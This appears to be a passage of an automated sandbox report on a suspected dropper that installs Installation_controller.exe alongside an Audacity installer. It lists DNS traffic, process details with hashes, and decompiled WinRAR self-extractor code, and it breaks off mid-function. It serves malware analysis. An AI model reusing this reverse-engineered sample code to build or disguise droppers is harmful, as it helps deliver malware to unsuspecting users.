Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 3, 2022 17:32:56.459109068 CEST	53731	53	192.168.2.6	8.8.8.8
Oct 3, 2022 17:32:56.482225895 CEST	53	53731	8.8.8.8	192.168.2.6

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Oct 3, 2022 17:32:56.459109068 CEST	192.168.2.6	8.8.8.8	0x15a7	Standard query (0)	updates.audacityteam.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Oct 3, 2022 17:32:56.482225895 CEST	8.8.8.8	192.168.2.6	0x15a7	No error (0)	updates.audacityteam.org	172.67.74.133	A (IP address)	IN (0x0001)	false
Oct 3, 2022 17:32:56.482225895 CEST	8.8.8.8	192.168.2.6	0x15a7	No error (0)	updates.audacityteam.org	104.26.0.108	A (IP address)	IN (0x0001)	false
Oct 3, 2022 17:32:56.482225895 CEST	8.8.8.8	192.168.2.6	0x15a7	No error (0)	updates.audacityteam.org	104.26.1.108	A (IP address)	IN (0x0001)	false

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

High Level Behavior Distribution

Click to dive into process behavior distribution

Behavior

Click to jump to process

System Behavior

Analysis Process: WsiysHggF9.exePID: 5904, Parent PID: 3452

General

Target ID:	0
Start time:	17:30:39
Start date:	03/10/2022
Path:	C:\Users\user\Desktop\WsiysHggF9.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\Desktop\WsiysHggF9.exe
Imagebase:	0x240000
File size:	21526435 bytes
MD5 hash:	350EA577229A9518D3B9DCD76D109E14
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low

Show Windows behavior

Chronological Activities

Analysis Process: Installation_controller.exePID: 6064, Parent PID: 5904

General

Target ID:	1
Start time:	17:30:48
Start date:	03/10/2022
Path:	C:\ProgramData\Installation_controller.exe
Wow64 process (32bit):	true
Commandline:	"C:\ProgramData\Installation_controller.exe"
Imagebase:	0x400000
File size:	7705088 bytes
MD5 hash:	46A16F35F193D36DB5B03B6E692658B3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low

Show Windows behavior

Chronological Activities

Analysis Process: audacity-win-3.2.0-64bit.exePID: 5640, Parent PID: 5904

General

Target ID:	10
Start time:	17:31:03
Start date:	03/10/2022
Path:	C:\ProgramData\audacity-win-3.2.0-64bit.exe
Wow64 process (32bit):	true
Commandline:	"C:\ProgramData\audacity-win-3.2.0-64bit.exe"
Imagebase:	0x400000
File size:	14290656 bytes
MD5 hash:	553B47079E2FD4820EF2F9841297EF97
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Reputation:	low

Show Windows behavior

Chronological Activities

Analysis Process: audacity-win-3.2.0-64bit.tmpPID: 4432, Parent PID: 5640

General

Target ID:	11
Start time:	17:31:23
Start date:	03/10/2022
Path:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp" /SL5="$5040E,13178964,955904,C:\ProgramData\audacity-win-3.2.0-64bit.exe"
Imagebase:	0x400000
File size:	3301352 bytes
MD5 hash:	220722BABC7320F6FF80BB591C9DA719
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Reputation:	low

Show Windows behavior

Chronological Activities

Analysis Process: _setup64.tmpPID: 3612, Parent PID: 4432

General

Target ID:	12
Start time:	17:32:00
Start date:	03/10/2022
Path:	C:\Users\user\AppData\Local\Temp\is-GK43T.tmp\_isetup\_setup64.tmp
Wow64 process (32bit):	false
Commandline:	helper 105 0x420
Imagebase:	0x140000000
File size:	6144 bytes
MD5 hash:	E4211D6D009757C078A9FAC7FF4F03D4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate

Show Windows behavior

Chronological Activities

Analysis Process: conhost.exePID: 3792, Parent PID: 3612

General

Target ID:	13
Start time:	17:32:00
Start date:	03/10/2022
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6da640000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: Audacity.exePID: 1928, Parent PID: 4432

General

Target ID:	16
Start time:	17:32:34
Start date:	03/10/2022
Path:	C:\Program Files\Audacity\Audacity.exe
Wow64 process (32bit):
Commandline:	C:\Program Files\Audacity\audacity.exe
Imagebase:
File size:	18346984 bytes
MD5 hash:	686920484890800433A208E111666FE1
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low

Show Windows behavior

Chronological Activities

Disassembly

Reset < >

Analysis Process: WsiysHggF9.exePID: 5904, Parent PID: 3452COMMON

Execution Graph

Execution Coverage:	10%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	9.6%
Total number of Nodes:	1475
Total number of Limit Nodes:	32

Executed Functions

Function 0025D42A Relevance: 43.9, APIs: 17, Strings: 8, Instructions: 197
filesleeptimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 16%

			E0025D42A(void* __edx, void* __ebp, void* __eflags, void* __fp0, void* _a84, void* _a86, void* _a90, void* _a92, void* _a94, void* _a96, void* _a98, void* _a100, void* _a104, void* _a144, void* _a148, void* _a196) {
				char _v208;
				void* __ebx;
				void* __edi;
				void* _t41;
				void* _t42;
				long _t51;
				void* _t54;
				intOrPtr _t58;
				struct HWND__* _t74;
				void* _t75;
				WCHAR* _t94;
				struct HINSTANCE__* _t95;
				intOrPtr _t96;
				void* _t100;
				void* _t101;
				void* _t102;
				void* _t103;
				void* _t121;

				_t121 = __fp0;
				_t99 = __ebp;
				_t88 = __edx;
				E0025002D(__edx, 1);
				E00259D58("C:\Users\engineer\Desktop", 0x800);
				E0025A2B3( &_v208); // executed
				E0025130F(0x2871e0);
				_t74 = 0;
				E0025F1A0(0x7104, 0x295b78, 0, 0x7104);
				_t102 = _t101 + 0xc;
				_t94 = GetCommandLineW();
				_t106 = _t94;
				if(_t94 != 0) {
					_push(_t94);
					E0025BBC4(0, _t106);
					if( *0x289471 == 0) {
						E0025D104(__eflags, _t94); // executed
					} else {
						_push(__ebp);
						_t100 = OpenFileMappingW(0xf001f, 0, L"winrarsfxmappingfile.tmp");
						if(_t100 != 0) {
							UnmapViewOfFile(_t75);
							_t74 = 0;
						}
						CloseHandle(_t100);
						_pop(_t99);
					}
				}
				GetModuleFileNameW(_t74, 0x29cc88, 0x800);
				SetEnvironmentVariableW(L"sfxname", 0x29cc88); // executed
				GetLocalTime(_t102 + 0xc);
				_push( *(_t102 + 0x1a) & 0x0000ffff);
				_push( *(_t102 + 0x1c) & 0x0000ffff);
				_push( *(_t102 + 0x1e) & 0x0000ffff);
				_push( *(_t102 + 0x20) & 0x0000ffff);
				_push( *(_t102 + 0x22) & 0x0000ffff);
				_push( *(_t102 + 0x22) & 0x0000ffff);
				E00243FD6(_t102 + 0x9c, 0x32, L"%4d-%02d-%02d-%02d-%02d-%02d-%03d",  *(_t102 + 0x24) & 0x0000ffff);
				_t103 = _t102 + 0x28;
				SetEnvironmentVariableW(L"sfxstime", _t103 + 0x7c);
				_t95 = GetModuleHandleW(_t74);
				 *0x27fed4 = _t95;
				 *0x27fed0 = _t95; // executed
				_t41 = LoadIconW(_t95, 0x64); // executed
				 *0x28b574 = _t41; // executed
				_t42 = E0025AD3D(0x2871e0, _t88, _t121); // executed
				 *0x295b74 = _t42;
				E0024D25C(0x27fee8, _t88, _t99, 0x29cc88);
				E002587A5(0);
				E002587A5(0);
				 *0x287458 = _t103 + 0x5c;
				 *0x28745c = _t103 + 0x30; // executed
				DialogBoxParamW(_t95, L"STARTDLG", _t74, E0025AE20, _t74); // executed
				 *0x28745c = _t74;
				 *0x287458 = _t74;
				E00258863(_t103 + 0x24);
				E00258863(_t103 + 0x50);
				_t51 =  *0x29dc98;
				if(_t51 != 0) {
					Sleep(_t51);
				}
				if( *0x288468 != 0) {
					E0025A4C4(0x29cc88);
				}
				E0024EA67(0x295a70);
				if( *0x287454 > 0) {
					L0026340E( *0x287450);
				}
				DeleteObject( *0x28b574);
				_t54 =  *0x295b74;
				if(_t54 != 0) {
					DeleteObject(_t54);
				}
				if( *0x27ff50 == 0 &&  *0x287447 != 0) {
					E00246F5B(0x27ff50, 0xff);
				}
				_t55 =  *0x29dc9c;
				 *0x287447 = 1;
				if( *0x29dc9c != 0) {
					E0025D163(_t55);
					CloseHandle( *0x29dc9c);
				}
				_t96 =  *0x27ff50; // 0x0
				if( *0x29dc91 != 0) {
					_t58 =  *0x27d5fc; // 0x3e8
					if( *0x29dc92 == 0) {
						__eflags = _t58;
						if(_t58 < 0) {
							_t96 = _t96 - _t58;
							__eflags = _t96;
						}
					} else {
						_t96 =  *0x29dc94;
						if(_t58 > 0) {
							_t96 = _t96 + _t58;
						}
					}
				}
				E0025A31B(_t103 + 0x1c); // executed
				return _t96;
			}

0x0025d42a
0x0025d42a
0x0025d42a
0x0025d435
0x0025d444
0x0025d44d
0x0025d457
0x0025d461
0x0025d46a
0x0025d46f
0x0025d478
0x0025d47a
0x0025d47c
0x0025d47e
0x0025d47f
0x0025d48a
0x0025d4f7
0x0025d48c
0x0025d48c
0x0025d49f
0x0025d4a3
0x0025d4e4
0x0025d4ea
0x0025d4ea
0x0025d4ed
0x0025d4f3
0x0025d4f3
0x0025d48a
0x0025d508
0x0025d514
0x0025d51f
0x0025d52a
0x0025d530
0x0025d536
0x0025d53c
0x0025d542
0x0025d548
0x0025d55e
0x0025d563
0x0025d570
0x0025d57d
0x0025d582
0x0025d588
0x0025d58e
0x0025d594
0x0025d599
0x0025d5a4
0x0025d5a9
0x0025d5b2
0x0025d5bb
0x0025d5cb
0x0025d5da
0x0025d5df
0x0025d5e9
0x0025d5ef
0x0025d5f5
0x0025d5fe
0x0025d603
0x0025d60a
0x0025d60d
0x0025d60d
0x0025d61a
0x0025d61c
0x0025d61c
0x0025d626
0x0025d632
0x0025d63a
0x0025d63f
0x0025d646
0x0025d64c
0x0025d653
0x0025d656
0x0025d656
0x0025d663
0x0025d678
0x0025d678
0x0025d67d
0x0025d682
0x0025d68b
0x0025d68e
0x0025d699
0x0025d699
0x0025d6a6
0x0025d6ac
0x0025d6b5
0x0025d6ba
0x0025d6ca
0x0025d6cc
0x0025d6ce
0x0025d6ce
0x0025d6ce
0x0025d6bc
0x0025d6bc
0x0025d6c4
0x0025d6c6
0x0025d6c6
0x0025d6c4
0x0025d6ba
0x0025d6d4
0x0025d6e4

APIs

Part of subcall function 0025002D: GetModuleHandleW.KERNEL32(kernel32), ref: 00250042
Part of subcall function 0025002D: GetProcAddress.KERNEL32(00000000,SetDllDirectoryW), ref: 00250054
Part of subcall function 0025002D: GetProcAddress.KERNEL32(00000000,SetDefaultDllDirectories), ref: 00250085

Part of subcall function 00259D58: GetCurrentDirectoryW.KERNEL32(?,?), ref: 00259D60

Part of subcall function 0025A2B3: OleInitialize.OLE32(00000000), ref: 0025A2CC
Part of subcall function 0025A2B3: GdiplusStartup.GDIPLUS(?,?,00000000), ref: 0025A303
Part of subcall function 0025A2B3: SHGetMalloc.SHELL32(00287430), ref: 0025A30D

Part of subcall function 0025130F: GetCPInfo.KERNEL32(00000000,?), ref: 00251320
Part of subcall function 0025130F: IsDBCSLeadByte.KERNEL32(00000000), ref: 00251334

GetCommandLineW.KERNEL32 ref: 0025D472
OpenFileMappingW.KERNEL32(000F001F,00000000,winrarsfxmappingfile.tmp), ref: 0025D499
MapViewOfFile.KERNEL32(00000000,000F001F,00000000,00000000,00007104), ref: 0025D4AA
UnmapViewOfFile.KERNEL32(00000000), ref: 0025D4E4

Part of subcall function 0025D104: SetEnvironmentVariableW.KERNELBASE(sfxcmd,?), ref: 0025D11A
Part of subcall function 0025D104: SetEnvironmentVariableW.KERNEL32(sfxpar,-00000002,00000000,?,?,?,00001000), ref: 0025D156

CloseHandle.KERNEL32(00000000), ref: 0025D4ED
GetModuleFileNameW.KERNEL32(00000000,0029CC88,00000800), ref: 0025D508
SetEnvironmentVariableW.KERNELBASE(sfxname,0029CC88), ref: 0025D514
GetLocalTime.KERNEL32(?), ref: 0025D51F
_swprintf.LIBCMT ref: 0025D55E
SetEnvironmentVariableW.KERNEL32(sfxstime,?), ref: 0025D570
GetModuleHandleW.KERNEL32(00000000), ref: 0025D577
LoadIconW.USER32(00000000,00000064), ref: 0025D58E
DialogBoxParamW.USER32(00000000,STARTDLG,00000000,Function_0001AE20,00000000), ref: 0025D5DF
Sleep.KERNEL32(?), ref: 0025D60D
DeleteObject.GDI32 ref: 0025D646
DeleteObject.GDI32(?), ref: 0025D656
CloseHandle.KERNEL32 ref: 0025D699

Strings

%4d-%02d-%02d-%02d-%02d-%02d-%03d, xrefs: 0025D54F
sfxname, xrefs: 0025D50F
C:\Users\user\Desktop, xrefs: 0025D43F
pZ), xrefs: 0025D621
winrarsfxmappingfile.tmp, xrefs: 0025D48D
STARTDLG, xrefs: 0025D5D4
sfxstime, xrefs: 0025D56B
q(, xrefs: 0025D452

Memory Dump Source

Source File: 00000000.00000002.303950939.0000000000241000.00000020.00000001.01000000.00000003.sdmp, Offset: 00240000, based on PE: true

Associated: 00000000.00000002.303946555.0000000000240000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303976798.0000000000272000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303988557.000000000027D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304183710.0000000000283000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304204730.00000000002A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304211712.00000000002A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.305365188.00000000002C2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_240000_WsiysHggF9.jbxd

Similarity

API ID: EnvironmentFileHandleVariable$Module$AddressCloseDeleteObjectProcView$ByteCommandCurrentDialogDirectoryGdiplusIconInfoInitializeLeadLineLoadLocalMallocMappingNameOpenParamSleepStartupTimeUnmap_swprintf
String ID: %4d-%02d-%02d-%02d-%02d-%02d-%03d$C:\Users\user\Desktop$STARTDLG$pZ)$sfxname$sfxstime$winrarsfxmappingfile.tmp$q(
API String ID: 788466649-3848485236
Opcode ID: c45f267fe6c8323ab6447f1af342dc1b828a6fe2ab2297f69620bd7eefa48f49
Instruction ID: a4a0e275c28415d6d67aa130f7834fff9894d432311426c8f2f07e3d5704f1b0
Opcode Fuzzy Hash: c45f267fe6c8323ab6447f1af342dc1b828a6fe2ab2297f69620bd7eefa48f49
Instruction Fuzzy Hash: 8F61E771924251ABD321AF71FC4DB2B3BACAB45702F004025FD4D921A2DBB488ACCB66

Uniqueness

Uniqueness Score: -1.00%

Function 0024A534 Relevance: 7.6, APIs: 5, Instructions: 107
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 80%

			E0024A534(void* __edx, intOrPtr _a4, intOrPtr _a8, char _a32, short _a592, void* _a4692, WCHAR* _a4696, intOrPtr _a4700) {
				struct _WIN32_FIND_DATAW _v0;
				char _v4;
				intOrPtr _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				char _v20;
				char _v24;
				signed int _t43;
				signed int _t49;
				signed int _t63;
				void* _t65;
				long _t68;
				char _t69;
				void* _t73;
				signed int _t74;
				void* _t75;
				void* _t81;
				intOrPtr _t83;
				void* _t86;

				_t81 = __edx;
				E0025E1C0();
				_push(_t74);
				_t86 = _a4692;
				_t83 = _a4700;
				_t75 = _t74 | 0xffffffff;
				_push( &_v0);
				if(_t86 != _t75) {
					_t43 = FindNextFileW(_t86, ??);
					__eflags = _t43;
					if(_t43 == 0) {
						_t86 = _t75;
						_t63 = GetLastError();
						__eflags = _t63 - 0x12;
						_t11 = _t63 != 0x12;
						__eflags = _t11;
						 *((char*)(_t83 + 0x1044)) = _t63 & 0xffffff00 | _t11;
					}
					__eflags = _t86 - _t75;
					if(_t86 != _t75) {
						goto L13;
					}
				} else {
					_t65 = FindFirstFileW(_a4696, ??); // executed
					_t86 = _t65;
					if(_t86 != _t75) {
						L13:
						E0024FD96(_t83, _a4696, 0x800);
						_push(0x800);
						E0024BC3B(__eflags, _t83,  &_a32);
						_t49 = 0 + _a8;
						__eflags = _t49;
						 *(_t83 + 0x1000) = _t49;
						asm("adc ecx, 0x0");
						 *((intOrPtr*)(_t83 + 0x1008)) = _v24;
						 *((intOrPtr*)(_t83 + 0x1028)) = _v20;
						 *((intOrPtr*)(_t83 + 0x102c)) = _v16;
						 *((intOrPtr*)(_t83 + 0x1030)) = _v12;
						 *((intOrPtr*)(_t83 + 0x1034)) = _v8;
						 *((intOrPtr*)(_t83 + 0x1038)) = _v4;
						 *(_t83 + 0x103c) = _v0.dwFileAttributes;
						 *((intOrPtr*)(_t83 + 0x1004)) = _a4;
						E00250D79(_t83 + 0x1010, _t81,  &_v4);
						E00250D79(_t83 + 0x1018, _t81,  &_v24);
						E00250D79(_t83 + 0x1020, _t81,  &_v20);
					} else {
						if(E0024B5AC(_a4696,  &_a592, 0x800) == 0) {
							L4:
							_t68 = GetLastError();
							if(_t68 == 2 || _t68 == 3 || _t68 == 0x12) {
								_t69 = 0;
								__eflags = 0;
							} else {
								_t69 = 1;
							}
							 *((char*)(_t83 + 0x1044)) = _t69;
						} else {
							_t73 = FindFirstFileW( &_a592,  &_v0); // executed
							_t86 = _t73;
							if(_t86 != _t75) {
								goto L13;
							} else {
								goto L4;
							}
						}
					}
				}
				 *(_t83 + 0x1040) =  *(_t83 + 0x1040) & 0x00000000;
				return _t86;
			}

0x0024a534
0x0024a539
0x0024a53e
0x0024a541
0x0024a54d
0x0024a554
0x0024a55c
0x0024a55f
0x0024a5d2
0x0024a5d8
0x0024a5da
0x0024a5dc
0x0024a5de
0x0024a5e4
0x0024a5e7
0x0024a5e7
0x0024a5ea
0x0024a5ea
0x0024a5f0
0x0024a5f2
0x00000000
0x00000000
0x0024a561
0x0024a568
0x0024a56e
0x0024a572
0x0024a5f8
0x0024a601
0x0024a606
0x0024a60d
0x0024a618
0x0024a618
0x0024a61c
0x0024a626
0x0024a629
0x0024a633
0x0024a63d
0x0024a647
0x0024a651
0x0024a65b
0x0024a665
0x0024a66f
0x0024a67c
0x0024a68c
0x0024a69c
0x0024a578
0x0024a58f
0x0024a5aa
0x0024a5aa
0x0024a5b3
0x0024a5c4
0x0024a5c4
0x0024a5bf
0x0024a5c1
0x0024a5c1
0x0024a5c6
0x0024a591
0x0024a59e
0x0024a5a4
0x0024a5a8
0x00000000
0x00000000
0x00000000
0x00000000
0x0024a5a8
0x0024a58f
0x0024a572
0x0024a6a1
0x0024a6b4

APIs

FindFirstFileW.KERNELBASE(?,?,?,?,?,?,0024A42F,000000FF,?,?), ref: 0024A568
FindFirstFileW.KERNELBASE(?,?,?,?,00000800,?,?,?,?,0024A42F,000000FF,?,?), ref: 0024A59E
GetLastError.KERNEL32(?,?,00000800,?,?,?,?,0024A42F,000000FF,?,?), ref: 0024A5AA
FindNextFileW.KERNEL32(?,?,?,?,?,?,0024A42F,000000FF,?,?), ref: 0024A5D2
GetLastError.KERNEL32(?,?,?,?,0024A42F,000000FF,?,?), ref: 0024A5DE

Memory Dump Source

Source File: 00000000.00000002.303950939.0000000000241000.00000020.00000001.01000000.00000003.sdmp, Offset: 00240000, based on PE: true

Associated: 00000000.00000002.303946555.0000000000240000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303976798.0000000000272000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303988557.000000000027D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304183710.0000000000283000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304204730.00000000002A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304211712.00000000002A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.305365188.00000000002C2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_240000_WsiysHggF9.jbxd

Similarity

API ID: FileFind$ErrorFirstLast$Next
String ID:
API String ID: 869497890-0
Opcode ID: c188617fa178a3b7521fae45e9b0d6de3c920b977edad51138938629c51ca1b0
Instruction ID: 0e1ec9f28932bc3de172e6283203d774aa009274833cdb14e3a8e255a36c8485
Opcode Fuzzy Hash: c188617fa178a3b7521fae45e9b0d6de3c920b977edad51138938629c51ca1b0
Instruction Fuzzy Hash: B2418572514642AFC724DF64C9C4ADAF7E8FF49340F040929F599D3240D734A9A8CF92

Uniqueness

Uniqueness Score: -1.00%

Function 00267363 Relevance: 4.5, APIs: 3, Instructions: 20
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 100%

			E00267363(int _a4) {
				void* _t14;
				void* _t16;

				if(E0026A6B6(_t14, _t16) != 0 && ( *( *[fs:0x30] + 0x68) >> 0x00000008 & 0x00000001) == 0) {
					TerminateProcess(GetCurrentProcess(), _a4);
				}
				E002673E8(_t14, _t16, _a4);
				ExitProcess(_a4);
			}

0x0026736f
0x0026738b
0x0026738b
0x00267394
0x0026739d

APIs

GetCurrentProcess.KERNEL32(?,?,00267339,?,0027AAB8,0000000C,00267490,?,00000002,00000000), ref: 00267384
TerminateProcess.KERNEL32(00000000,?,00267339,?,0027AAB8,0000000C,00267490,?,00000002,00000000), ref: 0026738B
ExitProcess.KERNEL32 ref: 0026739D

Memory Dump Source

Source File: 00000000.00000002.303950939.0000000000241000.00000020.00000001.01000000.00000003.sdmp, Offset: 00240000, based on PE: true

Associated: 00000000.00000002.303946555.0000000000240000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303976798.0000000000272000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303988557.000000000027D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304183710.0000000000283000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304204730.00000000002A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304211712.00000000002A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.305365188.00000000002C2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_240000_WsiysHggF9.jbxd

Similarity

API ID: Process$CurrentExitTerminate
String ID:
API String ID: 1703294689-0
Opcode ID: 19420bdf8deb8ecceab9273117c9076eeda409d05574189ff8022e0fbe6149cd
Instruction ID: 62015af2775cb25b8b7e05ffa7bbce53b038ab6ce7b4f62d74b285a71fdc0edf
Opcode Fuzzy Hash: 19420bdf8deb8ecceab9273117c9076eeda409d05574189ff8022e0fbe6149cd
Instruction Fuzzy Hash: 91E0B635015208EBCF116F65ED4DA483B6DEB50345B404454FD49AA222DB35DDE6EAA0

Uniqueness

Uniqueness Score: -1.00%

Function 00248525 Relevance: 3.9, APIs: 2, Instructions: 945
COMMONCrypto

Download Yara Rule

C-Code - Quality: 76%

			E00248525(intOrPtr __ecx) {
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t371;
				signed int _t375;
				signed int _t376;
				signed int _t381;
				signed int _t387;
				void* _t389;
				signed int _t390;
				signed int _t394;
				signed int _t395;
				signed int _t400;
				signed int _t405;
				signed int _t406;
				signed int _t410;
				signed int _t420;
				signed int _t421;
				signed int _t424;
				signed int _t425;
				signed int _t434;
				char _t436;
				char _t438;
				signed int _t439;
				signed int _t440;
				signed int _t462;
				signed int _t471;
				intOrPtr _t474;
				char _t481;
				signed int _t482;
				void* _t493;
				void* _t501;
				void* _t503;
				signed int _t513;
				signed int _t517;
				signed int _t518;
				signed int _t519;
				signed int _t522;
				signed int _t525;
				signed int _t533;
				signed int _t543;
				signed int _t545;
				signed int _t547;
				signed int _t549;
				signed char _t550;
				signed int _t553;
				void* _t558;
				signed int _t566;
				intOrPtr* _t577;
				intOrPtr _t579;
				signed int _t580;
				signed int _t590;
				intOrPtr _t593;
				signed int _t596;
				signed int _t605;
				signed int _t612;
				signed int _t614;
				signed int _t615;
				signed int _t617;
				signed int _t635;
				signed int _t636;
				void* _t643;
				void* _t644;
				signed int _t660;
				signed int _t671;
				intOrPtr _t672;
				void* _t674;
				signed int _t675;
				signed int _t676;
				signed int _t677;
				signed int _t678;
				signed int _t679;
				signed int _t685;
				intOrPtr _t687;
				signed int _t692;
				intOrPtr _t694;
				signed int _t697;
				signed int _t702;
				void* _t706;
				void* _t708;
				void* _t710;

				_t579 = __ecx;
				E0025E0E4(E00271C8A, _t706);
				E0025E1C0();
				_t577 =  *((intOrPtr*)(_t706 + 8));
				_t670 = 0;
				_t687 = _t579;
				 *((intOrPtr*)(_t706 - 0x20)) = _t687;
				_t371 =  *( *(_t687 + 8) + 0x82f2) & 0x0000ffff;
				 *(_t706 - 0x18) = _t371;
				if( *((intOrPtr*)(_t706 + 0xc)) != 0) {
					L6:
					_t694 =  *((intOrPtr*)(_t577 + 0x21dc));
					__eflags = _t694 - 2;
					if(_t694 == 2) {
						 *(_t687 + 0x10f5) = _t670;
						__eflags =  *(_t577 + 0x32dc) - _t670;
						if(__eflags > 0) {
							L22:
							__eflags =  *(_t577 + 0x32e4) - _t670;
							if(__eflags > 0) {
								L26:
								_t580 =  *(_t687 + 8);
								__eflags =  *((intOrPtr*)(_t580 + 0x615c)) - _t670;
								if( *((intOrPtr*)(_t580 + 0x615c)) != _t670) {
									L29:
									 *(_t706 - 0x13) = _t670;
									_t35 = _t706 - 0x51a8; // -18856
									_t36 = _t706 - 0x13; // 0x7ed
									_t375 = E00245E0A(_t577 + 0x2280, _t36, 6, _t670, _t35, 0x800);
									__eflags = _t375;
									_t376 = _t375 & 0xffffff00 | _t375 != 0x00000000;
									 *(_t706 - 0x12) = _t376;
									__eflags = _t376;
									if(_t376 != 0) {
										__eflags =  *(_t706 - 0x13);
										if( *(_t706 - 0x13) == 0) {
											__eflags = 0;
											 *((char*)(_t687 + 0xf1)) = 0;
										}
									}
									E0024205D(_t577);
									_push(0x800);
									_t43 = _t706 - 0x113c; // -2364
									_push(_t577 + 0x22a8);
									E0024B223();
									__eflags =  *((char*)(_t577 + 0x3373));
									 *(_t706 - 0x1c) = 1;
									if( *((char*)(_t577 + 0x3373)) == 0) {
										_t381 = E00242147(_t577);
										__eflags = _t381;
										if(_t381 == 0) {
											_t550 =  *(_t687 + 8);
											__eflags = 1 -  *((intOrPtr*)(_t550 + 0x72bc));
											asm("sbb al, al");
											_t61 = _t706 - 0x12;
											 *_t61 =  *(_t706 - 0x12) &  !_t550;
											__eflags =  *_t61;
										}
									} else {
										_t553 =  *( *(_t687 + 8) + 0x72bc);
										__eflags = _t553 - 1;
										if(_t553 != 1) {
											__eflags =  *(_t706 - 0x13);
											if( *(_t706 - 0x13) == 0) {
												__eflags = _t553;
												 *(_t706 - 0x12) =  *(_t706 - 0x12) & (_t553 & 0xffffff00 | _t553 == 0x00000000) - 0x00000001;
												_push(0);
												_t54 = _t706 - 0x113c; // -2364
												_t558 = E0024BB74(_t54);
												_t660 =  *(_t687 + 8);
												__eflags =  *((intOrPtr*)(_t660 + 0x72bc)) - 1 - _t558;
												if( *((intOrPtr*)(_t660 + 0x72bc)) - 1 != _t558) {
													 *(_t706 - 0x12) = 0;
												} else {
													_t57 = _t706 - 0x113c; // -2364
													_push(1);
													E0024BB74(_t57);
												}
											}
										}
									}
									 *((char*)(_t687 + 0x5f)) =  *((intOrPtr*)(_t577 + 0x3319));
									 *((char*)(_t687 + 0x60)) = 0;
									asm("sbb eax, [ebx+0x32dc]");
									 *0x272260( *((intOrPtr*)(_t577 + 0x6ca8)) -  *(_t577 + 0x32d8),  *((intOrPtr*)(_t577 + 0x6cac)), 0);
									 *((intOrPtr*)( *_t577 + 0x10))();
									_t671 = 0;
									_t387 = 0;
									 *(_t706 - 0xe) = 0;
									 *(_t706 - 0x24) = 0;
									__eflags =  *(_t706 - 0x12);
									if( *(_t706 - 0x12) != 0) {
										L43:
										_t697 =  *(_t706 - 0x18);
										_t590 =  *((intOrPtr*)( *(_t687 + 8) + 0x61f9));
										_t389 = 0x49;
										__eflags = _t590;
										if(_t590 == 0) {
											L45:
											_t390 = _t671;
											L46:
											__eflags = _t590;
											_t83 = _t706 - 0x113c; // -2364
											_t394 = L002512D1(_t590, _t83, (_t390 & 0xffffff00 | _t590 == 0x00000000) & 0x000000ff, _t390,  *(_t706 - 0x24)); // executed
											__eflags = _t394;
											if(__eflags == 0) {
												L219:
												_t395 = 0;
												L16:
												L17:
												 *[fs:0x0] =  *((intOrPtr*)(_t706 - 0xc));
												return _t395;
											}
											_push(0x800);
											 *((intOrPtr*)(_t706 - 0x38)) = _t687 + 0x10f6;
											_t86 = _t706 - 0x113c; // -2364
											E00248214(__eflags, _t577, _t86, _t687 + 0x10f6);
											__eflags =  *(_t706 - 0xe);
											if( *(_t706 - 0xe) != 0) {
												L50:
												 *(_t706 - 0xd) = 0;
												L51:
